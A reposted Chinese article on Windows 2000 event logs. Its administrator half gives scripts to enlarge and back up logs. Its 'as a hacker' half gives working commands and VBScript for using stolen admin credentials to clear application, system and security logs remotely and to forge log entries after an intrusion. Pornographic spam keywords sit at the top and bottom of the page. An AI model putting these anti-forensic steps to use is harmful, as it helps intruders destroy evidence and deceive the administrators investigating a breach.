欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久

打開(kāi)APP
userphoto
未登錄

開(kāi)通VIP,暢享免費電子書(shū)等14項超值服

開(kāi)通VIP
windows日志的保護與偽造

windows日志的保護與偽造


創(chuàng )建時(shí)間:2002-08-18
文章屬性:原創(chuàng )
文章提交:netone (netonego_at_ccermail.net)

windows日志的保護與偽造
日志對于系統安全的作用是顯而易見(jiàn)的,無(wú)論是網(wǎng)絡(luò )管理員還是黑客都非常重視日志,一個(gè)有經(jīng)驗的管理員往往能夠迅速通過(guò)日志了解到系統的安全性能,而一個(gè)聰明的黑客往往會(huì )在入侵成功后迅速清除掉對自己不利的日志。下面我們就來(lái)討論一下日志的安全和創(chuàng )建問(wèn)題。
一:概述:Windows2000的系統日志文件有應用程序日志,安全日志、系統日志、DNS服務(wù)器日志等等,應用程序日志、安全日志、系統日志、DNS日志默認位置:%systemroot%\system32\config,默認文件大小512KB。
安全日志文件:%systemroot%\system32\config\SecEvent.EVT
系統日志文件:%systemroot%\system32\config\SysEvent.EVT
應用程序日志文件:%systemroot%\system32\config\AppEvent.EVT
這些LOG文件在注冊表中的:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog
有的管理員很可能將這些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目錄。



二:作為網(wǎng)絡(luò )管理員:
1。日志的安全配置:
默認的條件下,日志的大小為512KB大小,如果超出則會(huì )報錯,并且不會(huì )再記錄任何日志。所以首要任務(wù)是更改默認大小,具體方法:注冊表中HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Eventlog對應的每個(gè)日志如系統,安全,應用程序等均有一個(gè)maxsize子鍵,修改即可。
  下面給出一個(gè)來(lái)自微軟站點(diǎn)的一個(gè)腳本,利用VMI來(lái)設定日志最大25MB,并允許日志自行覆蓋14天前的日志:
該腳本利用的是WMI對象, WMI(Windows Management Instrumentation)技術(shù)是微軟提供的Windows下的系統管理工具。通過(guò)該工具可以在本地或者管理客戶(hù)端系統中幾乎一切的信息。很多專(zhuān)業(yè)的網(wǎng)絡(luò )管理工具都是基于WMI開(kāi)發(fā)的。該工具在Win2000以及WinNT下是標準工具,在Win9X下是擴展安裝選項。所以以下的代碼在2000以上均可運行成功。

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate,(Security)}!\\" & _
        strComputer & "\root\cimv2")               ‘獲得VMI對象
Set colLogFiles = objWMIService.ExecQuery _        
    ("Select * from Win32_NTEventLogFile")
For each objLogfile in colLogFiles
    strLogFileName = objLogfile.Name
    Set wmiSWbemObject = GetObject _
        ("winmgmts:{impersonationLevel=Impersonate}!\\.\root\cimv2:" _
            & "Win32_NTEventlogFile.Name=‘" & strLogFileName & "‘")
    wmiSWbemObject.MaxFileSize = 2500000000
    wmiSWbemObject.OverwriteOutdated = 14
    wmiSWbemObject.Put_
Next
將上述腳本用記事本存盤(pán)為vbs為后綴的即可使用。
另外需要說(shuō)明的是代碼中的strComputer="."在windows腳本中的含義相當于localhost,如果要在遠程主機上執行代碼,只需要把"."改動(dòng)為主機名,當然首先得擁有對方主機的管理員權限并建立IPC連接.本文中的代碼所出現的strComputer均可作如此改動(dòng).
2。日志的查詢(xún)與備份:
一個(gè)優(yōu)秀的管理員是應該養成備份日志的習慣,如果有條件的話(huà)還應該把日志轉存到備份機器上或直接轉儲到打印機上,筆者還有一篇文章《利用腳本編程格式化輸出系統日志》,詳細的講述了利用windows腳本把日志轉儲并輸出成html頁(yè)已便于查詢(xún),有興趣的可以查看,在這里推薦微軟的resourceKit工具箱中的dumpel.exe,他的常用方法:
dumpel -f filename -s \\server -l log
-f filename 輸出日志的位置和文件名
-s \\server 輸出遠程計算機日志
-l log   log 可選的為system,security,application,可能還有別的如DNS等
如要把目標服務(wù)器server上的系統日志轉存為backupsystem.log可以用以下格式:
dumpel \\server -l system -f backupsystem.log
再利用計劃任務(wù)可以實(shí)現定期備份系統日志。
另外利用腳本編程的VMI對象也可以輕而易舉的實(shí)現日志備份:
下面給出備份application日志的代碼:
backuplog.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate,(Backup)}!\\" & _
        strComputer & "\root\cimv2")                ‘獲得 VMI對象
Set colLogFiles = objWMIService.ExecQuery _
    ("Select * from Win32_NTEventLogFile where LogFileName=‘Application‘")  ‘獲取日志對象中的應用程序日志
For Each objLogfile in colLogFiles
    errBackupLog = objLogFile.BackupEventLog("f:\application.evt")   ‘將日志備份為f:\application.evt
    If errBackupLog <> 0 Then        
        Wscript.Echo "The Application event log could not be backed up."
    else Wscript.Echo "success backup log"
    End If
Next
程序說(shuō)明:如果備份成功將窗口提示:"success backup log" 否則提示:"The Application event log could not be backed up",此處備份的日志為application 備份位置為f:\application.evt,可以自行修改,此處備份的格式為evt的原始格式,用記事本打開(kāi)則為亂碼,這一點(diǎn)他不如dumpel用得方便。


三:作為黑客
1。日至清除
一個(gè)入侵系統成功后的黑客第一件事便是清除日志,如果以圖形界面遠程控制對方機器或是從終端登陸進(jìn)入,刪除日志不是一件困難的事,由于日志雖然也是作為一種服務(wù)運行,但不同于http,ftp這樣的服務(wù),可以在命令行下先停止,再刪除,在m命令行下用net stop eventlog是不能停止的,所以有人認為在命令行下刪除日志是很困難的,實(shí)際上不是這樣,下面介紹幾種方法:
   1.借助第三方工具:如小榕的elsave.exe遠程清除system,applicaton,security的軟件,使用方法很簡(jiǎn)單,首先利用獲得的管理員賬號與對方建立ipc會(huì )話(huà),net use \\ip pass /user: user
然后命令行下:elsave -s \\ip -l application -C,這樣就刪除了安全日志。
其實(shí)利用這個(gè)軟件還可以進(jìn)行備份日志,只要加一個(gè)參數 -f filename就可以了,在此不再詳述。
   2.利用腳本編程中的VMI,也可以實(shí)現刪除日志,首先獲得object對象,然后利用其clearEventLog() 方法刪除日志。源代碼:
cleanevent.vbs
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate,(Backup)}!\\" & _
        strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
    ("Select * from Win32_NTEventLogFile where LogFileName=‘"&logs&"‘")
For Each objLogfile in colLogFiles  
        objLogFile.ClearEventLog()    
Next
next
在上面的代碼中,建立一個(gè)數組,為application,security,system如果還有其他日志也可以加入數組。
然后用一個(gè)for 循環(huán),刪除數組中的每一個(gè)元素,即各個(gè)日志.
2。創(chuàng )建日志:
刪除日志后,任何一個(gè)有頭腦的管理員面對空空的日志,馬上就會(huì )反應過(guò)來(lái)被入侵了,所以一個(gè)聰明的黑客的學(xué)會(huì )如何
偽造日志:
    1。利用腳本編程中的eventlog方法是創(chuàng )造日志變得非常簡(jiǎn)單;下面看一個(gè)代碼
createlog.vbs
set ws=wscript.createobject("Wscript.shell")
ws.logevent 0 ,"write log success"    ‘創(chuàng )建一個(gè)成功執行日志
這個(gè)代碼很容易閱讀,首先獲得wscript的一個(gè)shell對象,然后利用shell對象的logevent方法
logevent的用法:logevent eventtype,"description" [,remote system]
eventtype 為日志類(lèi)型,可以使用的如下:0 代表成功執行,1 執行出錯 ,2 警告 , 4,信息 ,8 成功審計 16 故障審計
所以上面代碼中,把0改為1,2,4,8,16均可,引號下的為日志描述。
這種方法寫(xiě)的日志有一個(gè)缺點(diǎn),只能寫(xiě)到應用程序日志,而且日至來(lái)源只能為wsh,即windows scripting host,所以不能起太多的隱蔽作用。
   2,微軟為了方便系統管理員和程序員,在xp下有個(gè)新的命令行工具,eventcreate.exe,利用它,創(chuàng )建日志更加簡(jiǎn)單。
eventcreate -s server -l logname  -u username -p password -so source -t eventtype -id id -d description
含義:-s 為遠程主機創(chuàng )建日志: -u 遠程主機的用戶(hù)名 -p 遠程主機的用戶(hù)密碼
-l 日志;可以創(chuàng )建system和application 不能創(chuàng )建security日志,
-so 日志來(lái)源,可以是任何日志 -t 日志類(lèi)型 如information信息,error錯誤,warning 警告,
-d 日志描述,可以是任意語(yǔ)句  -id 自主日志為1-1000之內
例如,我們要本地創(chuàng )建一個(gè)系統日志,日至來(lái)源為admin,日志類(lèi)型是警告,描述為"this is a test",事件ID為500
可以用如下參數
eventcreate -l system -so administrator -t warning -d "this is a test" -id 500
這個(gè)工具不能創(chuàng )建安全日志。至于如何創(chuàng )建安全日志,希望大家能夠找到一個(gè)好方法!
本站僅提供存儲服務(wù),所有內容均由用戶(hù)發(fā)布,如發(fā)現有害或侵權內容,請點(diǎn)擊舉報。
打開(kāi)APP,閱讀全文并永久保存 查看更多類(lèi)似文章
猜你喜歡
類(lèi)似文章
節省XP使用內存,加快開(kāi)機速度
一次簡(jiǎn)單的windows日志分析
Window日志分析
Windows 日志分析
Windows日志審計
Win7和win2008命令行清除日志方法
更多類(lèi)似文章 >>
生活服務(wù)
分享 收藏 導長(cháng)圖 關(guān)注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服

欧美性猛交XXXX免费看蜜桃,成人网18免费韩国,亚洲国产成人精品区综合,欧美日韩一区二区三区高清不卡,亚洲综合一区二区精品久久